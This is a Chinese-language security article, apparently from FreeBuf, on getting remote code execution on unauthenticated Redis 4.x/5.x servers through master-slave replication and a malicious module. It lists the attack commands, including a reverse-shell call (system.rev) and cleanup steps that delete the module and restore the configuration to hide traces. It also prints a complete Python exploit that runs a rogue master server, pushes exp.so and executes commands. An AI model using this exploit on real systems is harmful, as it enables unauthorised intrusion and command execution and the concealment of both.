
Reids 未授权的常见攻击方式有绝对路径写Webshell、写ssh公钥、利用计划任务反弹shell、主从复制RCE。
利用主从复制RCE,可以避免了通过写文件getshell时由于文件内含有其他字符导致的影响,也可以不需要借助crontab、php这种第三方的程序直接getshell,有明显的优势。但是,很多实战过的师傅就会发现,在有些情况下,不管攻击成功与否,数据库会出现一下异常情况,这里就尝试分析下。
redis 4.x/5.x RCE是由LC/BC
战队队员Pavel Toporkov
在zeronights 2018
上提出的基于主从复制的redis rce,其利用条件是Redis未授权或弱口令。
恶意模块加载
自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用MODULE LOAD
命令加载到Redis中。
恶意so文件下载,下载完成后直接 make 即可
搭建环境
docker run -p 6300:6379 -d redis:5.0 redis-server
复制恶意so到容器中
docker cp /home/ubuntu/Desktop/Temp/redis-rce/exp.so Docker_ID:/data/exp.so
加载恶意模块
127.0.0.1:6379> module load /data/exp.so
OK
127.0.0.1:6379> system.exec "whoami"
"redis\n"
那么在真实环境中,我们如何将恶意so文件传输到服务器中呢?这里就需要用到Redis的主从复制了。
主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
当slave向master发送PSYNC
命令之后,一般会得到三种回复:
+FULLRESYNC:进行全量复制。
+CONTINUE:进行增量同步。
-ERR:当前master还不支持PSYNC。
进行全量复制是,会将master上的RDB
文件同步到slave上。而进行增量复制时,slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件。
为了能让恶意so传输到目标服务器上,这里则必须采用全量复制。
在进行全量复制之前,如果从服务器存在和主服务一样的变量,则其值会被覆盖,同时,如果存在主服务器不存在的变量,则会被删除。
攻击过程中相关命令
#设置redis的备份路径为当前目录
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof 192.168.172.129 1234
#加载恶意模块
module load ./exp.so
#执行系统命令
system.exec 'whoami'
system.rev 127.0.0.1 9999
痕迹清除
为了减少对服务器的影响,攻击完成后,应该尽量清除痕迹,需要恢复目录和数据库文件,卸载同时删除模块,而数据原本的配置信息,需要在攻击之前进行备份。
CONFIG get * # 获取所有的配置
CONFIG get dir # 获取 快照文件 保存的 位置
CONFIG get dbfilename # 获取 快照文件 的文件名
#切断主从,关闭复制功能
slaveof no one
#恢复目录
config set dir /data
#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb
#删除exp.so
system.exec 'rm ./exp.so'
#卸载system模块的加载
module unload system
漏洞利用的版本是redis 4.x/5.x ,如果是先前版本的Redis,则无法加载模块,自然也就无法利用。在网上开了几个开源的利用脚本,都没有进行版本的判断,如果直接使用exp,除了攻击失败外,可能会修改了 dir 和dbfilename ,这些都可以通过redis未授权修改回原来的配置(前提是有提前备份),而目录下会多生成一个 exp.so文件。
利用脚本
这里的脚本是在 https://github.com/vulhub/redis-rogue-getshell的基础上进行修改的,主要增加了版本检测,防止误打其他版本的Redis服务器。此外,还增加了配置信息备份,当痕迹清除时,如果目标Redis服务器的的dir、dbfilename、主从关系等不是默认配置时,需要手动修改脚本中的参数。
#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time
import re
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"
class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]
return data.strip().split()
def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break
self.finish()
def finish(self):
self.request.close()
class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True
def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload
class RedisClient(object):
def __init__(self, rhost, rport):
self.client = socket.create_connection((rhost, rport), timeout=10)
def send(self, data):
data = self.encode(data)
self.client.send(data)
logging.info("send data: %r", data)
return self.recv()
def recv(self, count=65535):
data = self.client.recv(count)
logging.info("receive data: %r", data)
return data
def encode(self, data):
if isinstance(data, bytes):
data = data.split()
args = [b'*', str(len(data)).encode()]
for arg in data:
args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])
args.append(DELIMITER)
return b''.join(args)
def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore')
offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
return data.decode(errors='ignore')
def exploit(rhost, rport, lhost, lport, expfile, command, auth):
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())
client = RedisClient(rhost, rport)
lhost = lhost.encode()
lport = str(lport).encode()
command = command.encode()
if auth:
client.send([b'AUTH', auth.encode()])
authTest = client.send([b'info'])
if "NOAUTH" in str(authTest, encoding = "utf8"):
return "[-] Authentication required.Use: -a Redis_Password"
# Backup the configuration information
conf = client.send([b'CONFIG',b'get',b'*'])
conf = str(conf, encoding = "utf8")
with open('conf.txt', 'w') as file:
file.write(conf)
# Version detecting
info = client.send([b'info'])
info = str(info, encoding = "utf8")
res = re.search(r'.*redis_version:(\d+)\..*',info)
if res.groups():
version = res.groups()[0]
if version != '4' and version != '5':
return "[-] Version Error.only exists in version 4.x/5.x"
client.send([b'SLAVEOF', lhost, lport])
client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])
time.sleep(2)
server.handle_request()
time.sleep(2)
client.send([b'MODULE', b'LOAD', b'./exp.so'])
client.send([b'SLAVEOF', b'NO', b'ONE'])
client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
resp = client.send([b'system.exec', command])
client.send([b'MODULE', b'UNLOAD', b'system'])
return "[+]RCE Successfully! Result: " + decode_command_line(resp)
def main():
parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
parser.add_argument("-p", "--rport", dest="rport", type=int,
help="target redis port, default 6379", default=6379)
parser.add_argument("-L", "--lhost", dest="lhost", type=str,
help="rogue server ip", required=True)
parser.add_argument("-P", "--lport", dest="lport", type=int,
help="rogue server listen port, default 21000", default=21000)
parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')
parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
options = parser.parse_args()
filename = options.file
if not os.path.exists(filename):
logging.info("Where you module? ")
sys.exit(1)
result = exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth)
print(result)
if __name__ == '__main__':
main()
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)